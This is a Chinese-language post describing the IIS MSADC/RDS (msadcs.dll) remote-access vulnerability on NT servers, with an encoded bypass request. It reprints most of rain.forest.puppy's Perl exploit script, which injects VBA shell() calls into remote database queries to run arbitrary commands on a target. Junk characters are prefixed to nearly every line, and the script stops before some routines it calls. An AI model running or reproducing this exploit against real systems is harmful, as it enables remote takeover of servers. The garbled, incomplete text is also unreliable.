IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)j8'6tk)Z ":eyf3M 涉及程序:
I;XM4a Microsoft NT server
- k0a((? D\G 8p; 描述:
=_OJ
7K' 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
XIMh< cUug}/!I 详细:
y;ey( 如果你没有时间读详细内容的话,就删除:
4M"'B A< c:\Program Files\Common Files\System\Msadc\msadcs.dll
Ue9d0#9 有关的安全问题就没有了。
|}77'w : glch06 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
bD
v&;Z Ge)G.> c 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
(1=@.srAzK 关于利用ODBC远程漏洞的描述,请参看:
|Gq3pL<jkC _oZ3n2v}@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #`@)lU+/ 0Y0z7A: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
IYe[IHny1 http://www.microsoft.com/security/bulletins/MS99-025faq.asp &DQ_qOKD s3Bo'hGxG 这里不再论述。
hzAuj0-A x<t?Yc9 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
67/@J)z0% PdKcDKJ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
6U).vg< 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
MZ)lNU l R UCUEo63 |3k r*# #将下面这段保存为txt文件,然后: "perl -x 文件名"
VnN(lJ Y3|_&\v6 #!perl
G$)q% b;Lz #
}Q[U4G # MSADC/RDS 'usage' (aka exploit) script
bv7)[,i #
V~Guw[RA # by rain.forest.puppy
g1XpERsSEV #
JSFNn]z2P # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Zq{gp1WC # beta test and find errors!
~&,S xQT m!INbIh use Socket; use Getopt::Std;
`_&vvJPn@! getopts("e:vd:h:XR", \%args);
K
z^.v` nVpDjUpN print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
wI7.M
Gt yTc&C)Jba if (!defined $args{h} && !defined $args{R}) {
Z2;~{$&M+ print qq~
FS7D Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZHRMW'Ne -h <host> = host you want to scan (ip or domain)
3Q&@l49q -d <seconds> = delay between calls, default 1 second
Bz{"K -X = dump Index Server path table, if available
/?>W\bP< -v = verbose
f3;[ZS -e = external dictionary file for step 5
-Nr*na^H9# h 1'm[Y Or a -R will resume a command session
)1R[~]y MHE/#G ~; exit;}
P/S ,dhs( de8xl $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
shLMj)7! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>d;U>P5. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
O>*Vo!z\f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,jnaa (n $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
V%*91t _ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
r{*Qsaw
zW ?=^bE if (!defined $args{R}){ $ret = &has_msadc;
~- aUw}U die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
}w=|"a|, a'q&[08 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{h|kx/4{m . "cmd /c ";
Ct(^nn$A $in=<STDIN>; chomp $in;
RSeav $command="cmd /c " . $in ;
=g%<xCp 8&hxU@T~ if (defined $args{R}) {&load; exit;}
AO-~dV aEEb1Y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
P(\x. d: &try_btcustmr;
'0Q/oU sCf)#6mI print "\nStep 2: Trying to make our own DSN...";
}L`Z<h*H &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&G-dxET] $;";i:H` print "\nStep 3: Trying known DSNs...";
>y!R}`&0^t &known_dsn;
'K23oQwDB )eX{a/Be print "\nStep 4: Trying known .mdbs...";
xxgdp. ( &known_mdb;
N5MWMN[6aP 5rtE/{A if (defined $args{e}){
PTQN.[bBh print "\nStep 5: Trying dictionary of DSN names...";
\+
Ese-la &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|]HA@7B +Lr`-</VF print "Sorry Charley...maybe next time?\n";
xNJ*TA[+ exit;
nh+h3"-d .*?-j?U. ##############################################################################
Dz$dJF1
8 "-HWw?rx/ sub sendraw { # ripped and modded from whisker
{p$X*2ReB sleep($delay); # it's a DoS on the server! At least on mine...
V\c`O my ($pstr)=@_;
1Si$Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-LFk7a die("Socket problems\n");
Yi`DRkp]3 if(connect(S,pack "SnA4x8",2,80,$target)){
z2A,*|I select(S); $|=1;
9+Wf*:*EW print $pstr; my @in=<S>;
NwKj@ Jos select(STDOUT); close(S);
f(EO|d^u return @in;
1#zD7b~ } else { die("Can't connect...\n"); }}
1O2V!?P *mw *z|-^V ##############################################################################
U@}r?!)"f |41~U\ sub make_header { # make the HTTP request
@E> rqI;` my $msadc=<<EOT
+wGvYr
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ws;|fY User-Agent: ACTIVEDATA
M>*xbBl Host: $ip
DRVvC~M-, Content-Length: $clen
n482?Wp Connection: Keep-Alive
(AG((eV &jrc] ADCClientVersion:01.06
#A~7rH%hi Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5sB~.z@ b.
:2x4 --!ADM!ROX!YOUR!WORLD!
T#}"?A| Content-Type: application/x-varg
GG4FS Content-Length: $reqlen
Jg&f. 5z.Y} EOT
Xag#ZT ; $msadc=~s/\n/\r\n/g;
Eh *u6K)Z return $msadc;}
R,l*@3Q #=ko4?Wr( ##############################################################################
E]pDp
/D j^/^PUR sub make_req { # make the RDS request
=+4om* my ($switch, $p1, $p2)=@_;
k5X-*^U=V} my $req=""; my $t1, $t2, $query, $dsn;
F\<{:wu 8%Ak if ($switch==1){ # this is the btcustmr.mdb query
)'/xNR $query="Select * from Customers where City=" . make_shell();
(Kw%fJT $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
{P ==6/<2o $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
-^>7\]
_!yUr5&,Br elsif ($switch==2){ # this is general make table query
U_wIx $query="create table AZZ (B int, C varchar(10))";
\O*W/9
+ $dsn="$p1";}
7#PQ1UWl wk2Ff*& elsif ($switch==3){ # this is general exploit table query
&!>.)I` $query="select * from AZZ where C=" . make_shell();
`nd$6i^#W $dsn="$p1";}
s +0S,?{$ "Qk)EY elsif ($switch==4){ # attempt to hork file info from index server
j9f Q V $query="select path from scope()";
"i%=QON` $dsn="Provider=MSIDXS;";}
HC$}KoZkC ,C^u8Z|T elsif ($switch==5){ # bad query
Z>.(' $query="select";
Ki[&DvW: $dsn="$p1";}
X|Nb81M C jz(-018 $t1= make_unicode($query);
nKch:g $t2= make_unicode($dsn);
?0d#O_la3 $req = "\x02\x00\x03\x00";
8&y#LeM1TT $req.= "\x08\x00" . pack ("S1", length($t1));
W#L/|K!S $req.= "\x00\x00" . $t1 ;
Go7 oj'" $req.= "\x08\x00" . pack ("S1", length($t2));
( n!8>>+1C $req.= "\x00\x00" . $t2 ;
2}9M7Z",2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
i&L!?6 5-f return $req;}
=pb ru=/ Nfd'|# ##############################################################################
SM.KM_%K L}tP_ * sub make_shell { # this makes the shell() statement
ZkF6AF return "'|shell(\"$command\")|'";}
?V =#x.9 PSU}fo ##############################################################################
Bf$`Hf6 wd2z=^S~ sub make_unicode { # quick little function to convert to unicode
5C5OLAl v my ($in)=@_; my $out;
!wo for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
G9~ 4?v6: return $out;}
/!pJ" @ Yo}QW;,g ##############################################################################
CH0Nkf Aot9^@4]) sub rdo_success { # checks for RDO return success (this is kludge)
nx5I my (@in) = @_; my $base=content_start(@in);
p|w0
i[hc if($in[$base]=~/multipart\/mixed/){
oUL4l=dj. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
rotu#?B return 0;}
CE|rn8MB acow ##############################################################################
YN7JJJ/~T .|KBQMI sub make_dsn { # this makes a DSN for us
{Lsl2@22 my @drives=("c","d","e","f");
Bh65qHQO print "\nMaking DSN: ";
!{b4+!@p foreach $drive (@drives) {
G^le91$ print "$drive: ";
G54`{V4&s my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
|+Tq[5&R "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Upz?x{>x . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
CTQJ=R" $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
~L"?C return 0 if $2 eq "404"; # not found/doesn't exist
kK.[v'[>& if($2 eq "200") {
ZDm Y${J foreach $line (@results) {
xks Me return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
2k^'}7G% } return 0;}
{vp*m:K [G"Va_A8 ##############################################################################
5Rae?*XH kTm}VTr
1 sub verify_exists {
C ~04#z_$ my ($page)=@_;
A(+%DZ my @results=sendraw("GET $page HTTP/1.0\n\n");
gvFCsVv<{ return $results[0];}
7Q?^wx [-VIojs+u ##############################################################################
@jKB[S;JSn &W*^&0AV sub try_btcustmr {
f%rZ2h) my @drives=("c","d","e","f");
wotw nE my @dirs=("winnt","winnt35","winnt351","win","windows");
#j)"#1IE2W BCh|^Pk foreach $dir (@dirs) {
">vi=Tr print "$dir -> "; # fun status so you can see progress
HbJ^L:/ foreach $drive (@drives) {
9u%(9Ae print "$drive: "; # ditto
Dv~jVI Xu $reqlen=length( make_req(1,$drive,$dir) ) - 28;
!gJw?(8" $reqlenlen=length( "$reqlen" );
<4582x,G $clen= 206 + $reqlenlen + $reqlen;
m%s:4Z%= 0x fF my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7\yh<?`V8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
k +Cwnp else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
]#vi/6\J sEi9<$~R@0 ##############################################################################
ZKai*q4? ZWQ/BgKB sub odbc_error {
Hz>Dp
! my (@in)=@_; my $base;
jW>K#vj my $base = content_start(@in);
^ U~QQ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
gmZ] E45 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\85~~v@ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iWIq~t*,H] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}lGui>/D return $in[$base+4].$in[$base+5].$in[$base+6];}
7 4]qz, print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Zr[B*1,ZV print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`Ay:;I $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
mp
z3o\n ~JO.h$1C ##############################################################################
<jBRUa[j_ eg24.W9c sub verbose {
N! I$Qtr, my ($in)=@_;
R[OXYHu return if !$verbose;
L2OR<3*|Av print STDOUT "\n$in\n";}
J M`[|"R% hw=~%f; ##############################################################################
&d\ y:7 *q+X?3 sub save {
c:""&>Z my ($p1, $p2, $p3, $p4)=@_;
ri6KD open(OUT, ">rds.save") || print "Problem saving parameters...\n";
<,D*m+BWn print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
lX"6m}~D close OUT;}
P~%+KxwZQ >T-4!ZvS\j ##############################################################################
=nqHVRA dg_w$# sub load {
9*r^1PRc my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cZ# %tT# open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.eLd0{JtN @p=<IN>; close(IN);
mv^X{T $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
zE~Xxp $target= inet_aton($ip) || die("inet_aton problems");
o7@C$R_# print "Resuming to $ip ...";
PbsxjP $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
n]i#&[*A( if($p[1]==1) {
I5 qrHBJ > $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
l]OzE-*$b $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
z"Mk(d@-E my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
m"QDc[^Ge if (rdo_success(@results)){print "Success!\n";}
<~uzKs0 else { print "failed\n"; verbose(odbc_error(@results));}}
Q!_d6-*u elsif ($p[1]==3){
(>NZYPw^3 if(run_query("$p[3]")){
4]6-)RHFB print "Success!\n";} else { print "failed\n"; }}
+}PN+:yV elsif ($p[1]==4){
6&il> if(run_query($drvst . "$p[3]")){
@_1cY#! print "Success!\n"; } else { print "failed\n"; }}
m.<u!MI exit;}
?'_6M4UKa ~H1<